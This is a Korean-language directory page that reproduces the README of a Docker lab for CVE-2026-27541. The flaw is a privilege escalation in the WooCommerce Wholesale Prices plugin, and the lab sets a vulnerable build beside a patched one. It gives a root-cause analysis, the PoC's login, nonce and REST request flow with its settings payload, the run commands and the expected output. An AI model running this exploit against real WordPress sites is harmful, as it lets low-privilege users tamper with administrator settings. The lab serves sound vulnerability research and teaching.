Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27541-Analysis-Lab — # CVE-2026-27541 재현용 Docker 랩 WooCommerce Wholesale Prices의 인증된 권한 상승 취약점인 CVE-2026-27541을 재현하기 위한 Docker 랩입니다. 취약한 빌드와 패치된 빌드를 비교하며, PoC 스크립트와 근본 원인 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# CVE-2026-27541 재현용 Docker 랩 WooCommerce Wholesale Prices의 인증된 권한 상승 취약점인 CVE-2026-27541을 재현하기 위한 Docker 랩입니다. 취약한 빌드와 패치된 빌드를 비교하며, PoC 스크립트와 근본 원인 분석을 포함합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-27541 — WooCommerce Wholesale Prices 인증된 권한 상승 실습 환경

vulnx

개요

이 프로젝트는 WooCommerce Wholesale Prices / Wholesale Suite 플러그인의 CVE-2026-27541 동작을 분석하고 재현하기 위한 로컬 Docker 실습 환경으로, 동일한 머신에서 취약한 빌드와 패치된 빌드를 나란히 비교합니다.

핵심 문제는 다음 REST API 엔드포인트의 깨진 접근 제어(Broken Access Control) 입니다:

root@kitploit:~
/wp-json/wwp/v1/admin/save

이 실습 환경에 사용된 소스 코드를 기준으로, 해당 라우트는 취약한 빌드와 패치된 빌드 모두 이미 permission_callback을 가지고 있습니다. 그러나 영향을 받는 버전은 관리자 설정 쓰기 작업에 비해 너무 광범위한 권한 검사를 사용합니다:

  • 취약한 버전 (2.2.6) → current_user_can( 'manage_woocommerce' )
  • 패치된 버전 (2.2.7) →
current_user_can( 'manage_options' )

이 실습 환경에서 shop_manager 역할을 가진 사용자 shopmgr은 manage_woocommerce=true이지만 manage_options는 없습니다. 결과적으로 이 낮은 권한의 사용자는 유효한 로그인 세션과 유효한 X-WP-Nonce를 사용하여 취약한 빌드에서 관리자 설정 저장 엔드포인트를 호출할 수 있는 반면, 패치된 빌드는 동일한 요청에 대해 403 rest_forbidden을 반환합니다.


이 실습이 증명하는 것

  • 취약한 노드 (2.2.6): 사용자 shopmgr이 POST /wp-json/wwp/v1/admin/save를 성공적으로 호출하고 플러그인 설정을 수정할 수 있습니다.
  • 패치된 노드 (2.2.7): shopmgr의 동일한 요청이 403으로 거부됩니다.
  • 인증 없는 요청: 엔드포인트가 인증 없이 직접 호출되면 두 빌드 모두 403을 반환하며, 이는 인증 후 권한 상승 문제와 일치합니다.
  • 지속성 증명: PoC 실행 성공 후 취약한 빌드는 WordPress 옵션 wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC를 저장하는 반면, 패치된 빌드는 여전히 See wholesale prices를 반환합니다.

실습 환경 구성

서비스

  • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
  • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
  • db-vuln / db-patched → 별도의 MariaDB 데이터베이스
  • seed-vuln / seed-patched → WordPress 설치, 플러그인 설치, 사용자 생성, 테스트용 상품 생성을 수행하는 wp-cli 시드 작업

공개 포트

  • http://localhost:8081 → 취약한 버전
  • http://localhost:8082 → 패치된 버전

기본 이미지

  • WordPress: wordpress:6.8.1-php8.2-apache
  • MariaDB: mariadb:11.4.5
  • 시더: wordpress:cli-php8.2

저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── README.md
├── patched/
│   └── Dockerfile
├── vuln/
│   └── Dockerfile
├── scripts/
│   └── seed-wp.sh
└── poc.py

주요 파일

  • docker-compose.yml — 별도의 데이터베이스를 가진 취약한 스택과 패치된 스택을 정의
  • scripts/seed-wp.sh — WordPress, WooCommerce, 대상 플러그인을 설치하고 테스트 사용자 및 상품 데이터를 생성
  • poc.py — 로그인, nonce 추출, REST 엔드포인트 호출을 위한 최소 피해 PoC

시드된 환경

스택이 준비되면 시드 스크립트가 다음을 생성합니다:

사용자

  • admin / AdminPass!234
  • shopmgr / ShopMgrPass!234

상품

  • 슬러그: lab-product
  • 일반 가격: 100
  • 도매 가격: 50

버전

  • WooCommerce: 10.6.0

  • WooCommerce Wholesale Prices:

    • 취약한 버전: 2.2.6
    • 패치된 버전: 2.2.7

스크립트는 또한 각 WordPress 컨테이너에 lab-secrets.json을 작성하여 시드된 데이터와 버전 정보를 확인할 수 있게 합니다.


PoC가 최소 피해인 이유

이 PoC는 사이트 장악, 역할 변경, 플러그인 설치, 셸 실행을 시도하지 않습니다.

다음 작업만 수행합니다:

  1. shopmgr로 로그인
  2. 관련 관리자 페이지를 방문하여 wpApiSettings.nonce 추출
  3. 대상 엔드포인트에 요청 전송
  4. 쉽게 관찰 가능한 설정 값 변경:
root@kitploit:~
wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC

이 설정은 낮은 권한의 사용자가 관리자 전용 구성을 수정할 수 있음을 입증하는 관찰 가능한 마커로 사용됩니다.


취약점 요약

영향을 받는 구성 요소

  • 플러그인: WooCommerce Wholesale Prices / Wholesale Suite
  • 라우트: POST /wp-json/wwp/v1/admin/save

취약점 분류

  • 깨진 접근 제어(Broken Access Control)
  • 인증된 권한 상승(Authenticated Privilege Escalation)

실질적 의미

엔드포인트가 유효한 세션과 nonce를 요구하지만, 취약한 버전은 shop_manager 역할을 가진 shopmgr과 같은 낮은 권한의 사용자가 관리자 전용이어야 하는 엔드포인트를 호출할 수 있게 합니다.

중요한 세부 사항

이는 인증되지 않은 취약점이 아닙니다.

로그인 세션 없이 엔드포인트를 직접 호출하면 취약한 빌드와 패치된 빌드 모두 요청을 거부합니다. 버그는 인증 후의 권한 부여에 존재하며, 인증 자체에는 없습니다.


근본 원인 분석

취약한 버전은 permission_callback이 누락된 것이 아닙니다. 결함은 관리자 측 설정을 쓰는 REST 작업에 너무 광범위한 권한 검사(manage_woocommerce)를 사용한다는 점입니다.

includes/class-wwp-admin-settings.php의 소스 코드 기준:

  • 취약한 빌드와 패치된 빌드 모두 동일한 라우트를 등록합니다: POST /wp-json/wwp/v1/admin/save
  • 두 빌드 모두 save_registered_settings()로 라우팅합니다
  • 두 빌드 모두 permission_admin_check()를 permission_callback으로 사용합니다
  • 실제 차이는 검사되는 권한입니다

취약한 버전 (2.2.6)

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return new WP_Error( 'rest_forbidden', ... );
}

패치된 버전 (2.2.7)

root@kitploit:~
if ( ! current_user_can( 'manage_options' ) ) {
    return new WP_Error( 'rest_forbidden', ... );
}

이 실습 환경에서 shop_manager 역할을 가진 사용자 shopmgr은 manage_woocommerce=true이지만 manage_options는 없으므로 취약한 검사는 통과하지만 패치된 검사는 실패합니다.

패치된 동작의 변경 사항

패치된 버전은 응답을 200에서 403으로 변경하는 것 이상을 수행합니다. 권한 요구 사항을 manage_woocommerce에서 manage_options로 강화하여 접근 제어 로직을 변경합니다.

또한 패치된 빌드의 저장 경로는 접두사 기반 필터링에서 명시적 허용 목록과 더 강력한 삭제(sanitization) 방식으로 전환하여 추가로 강화되었습니다.

PoC가 취약한 버전에서 성공하는 이유

PoC는 실제 브라우저 컨텍스트와 동일한 흐름을 따릅니다:

  • shopmgr로 로그인
  • 플러그인 설정 페이지 열기
  • wpApiSettings.nonce 추출
  • POST /wp-json/wwp/v1/admin/save 호출

취약한 빌드는 manage_woocommerce 권한을 가진 사용자가 이 설정 쓰기 작업을 호출할 수 있게 하므로 요청이 성공하고 영구적인 옵션 변경이 발생합니다.

보안 교훈

nonce는 CSRF를 방지하는 데 도움이 되지만 권한 부여 제어는 아닙니다.

유효한 세션과 유효한 nonce를 가졌다고 해서 사용자가 관리자 작업을 수행할 수 있어야 한다는 의미는 아닙니다. 권한 있는 엔드포인트에 너무 광범위한 권한을 사용하는 것만으로도 낮은 권한의 권한 부여 우회가 발생할 수 있습니다.


실습 재현

사전 요구 사항

  • Docker Desktop / Docker Engine
  • Docker Compose v2
  • Python 3
  • 초기 이미지 및 플러그인 다운로드를 위한 인터넷 접속

1) 실습 시작

root@kitploit:~
docker compose up -d --build

2) 컨테이너가 실행 중인지 확인

root@kitploit:~
docker compose ps

최소한 다음이 표시되어야 합니다:

  • cve-2026-27541-vuln-1
  • cve-2026-27541-patched-1
  • cve-2026-27541-db-vuln-1
  • cve-2026-27541-db-patched-1

3) 시딩 로그 확인

root@kitploit:~
docker compose logs -f seed-vuln seed-patched

4) 시드된 메타데이터 확인

root@kitploit:~
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json

PoC 실행 과정

poc.py는 다음과 같이 작동합니다:

  1. GET /wp-login.php

  2. POST /wp-login.php로 인증된 세션 설정

  3. 플러그인 관리자 페이지 열기:

    root@kitploit:~
    /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    
  4. HTML/JavaScript에서 wpApiSettings.nonce와 REST 루트 추출

  5. 다음으로 요청 전송:

    root@kitploit:~
    /wp-json/wwp/v1/admin/save
    
  6. 페이로드 제출:

root@kitploit:~
[
  {
    "key": "wwp_see_wholesale_prices_replacement_text",
    "value": "PWNED_BY_POC"
  }
]

PoC 실행

취약한 노드

root@kitploit:~
python3 poc.py \
  --base-url http://localhost:8081 \
  --username shopmgr \
  --password 'ShopMgrPass!234'

패치된 노드

root@kitploit:~
python3 poc.py \
  --base-url http://localhost:8082 \
  --username shopmgr \
  --password 'ShopMgrPass!234'

예상 결과

취약한 버전 (8081)

예상 출력:

root@kitploit:~
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
    - Open product page
    - Look for: PWNED_BY_POC

패치된 버전 (8082)

예상 출력:

root@kitploit:~
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed

수동 검증

UI 검증

취약한 노드에서 PoC가 성공한 후:

  1. 로그아웃하거나 시크릿 창 열기
  2. 대체 텍스트가 표시되는 상품 페이지 또는 스토어프론트 페이지 열기
  3. 다음을 확인:
root@kitploit:~
PWNED_BY_POC

보안 영향

이 버그 클래스의 실질적 영향은 낮은 권한의 사용자가 관리자 전용이어야 하는 구성을 수정할 수 있다는 것이며, 이는 직접적으로 다음으로 이어질 수 있습니다:

  • 콘텐츠 변조
  • 프론트엔드 메시지 조작
  • 비즈니스 로직 악용

이 실습은 취약점 조건을 증명하는 데 필요한 범위를 넘어서는 역할 변경이나 권한 상승을 피하기 위해 의도적으로 안전하고 관찰 가능한 페이로드를 사용합니다.


정리

root@kitploit:~
docker compose down -v

안전 주의 사항

  • 로컬 실습 전용
  • 모든 서비스는 localhost에만 바인딩됨
  • PoC는 의도적으로 최소 피해이며 무해한 관찰 가능한 값을 사용함
  • 소유하지 않거나 테스트 권한이 없는 시스템에 이 PoC를 적용하지 마십시오

참고 자료

  • CVE 레코드 — CVE-2026-27541
  • Wordfence — Wholesale Suite <= 2.2.6 - 인증된(Shop Manager) 권한 상승
  • WordPress.org 플러그인 페이지 — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

요약

이 실습은 CVE-2026-27541이 플러그인의 REST API 설정 엔드포인트에서 인증된 낮은 권한의 권한 부여 우회임을 보여줍니다. 버전 2.2.6의 결함은 권한 검사가 없다는 것이 아니라 manage_options 수준으로 제한되어야 하는 작업에 너무 광범위한 권한(manage_woocommerce)을 사용한다는 점입니다.

이 로컬 환경에서:

  • shopmgr은 취약한 검사를 통과하고 POST /wp-json/wwp/v1/admin/save를 통해 관리자 측 설정을 성공적으로 수정할 수 있습니다
  • 동일한 요청이 2.2.7에서는 차단됩니다
  • 취약한 빌드는 대상 옵션에 PWNED_BY_POC를 영구 저장하는 반면, 패치된 빌드는 그렇지 않습니다

결과적으로 이 저장소는 완전히 통제된 로컬 환경에서 취약한 버전과 패치된 버전의 차이에 대한 동작 증명과 코드 기반 증명을 모두 제공합니다.

도구 다운로드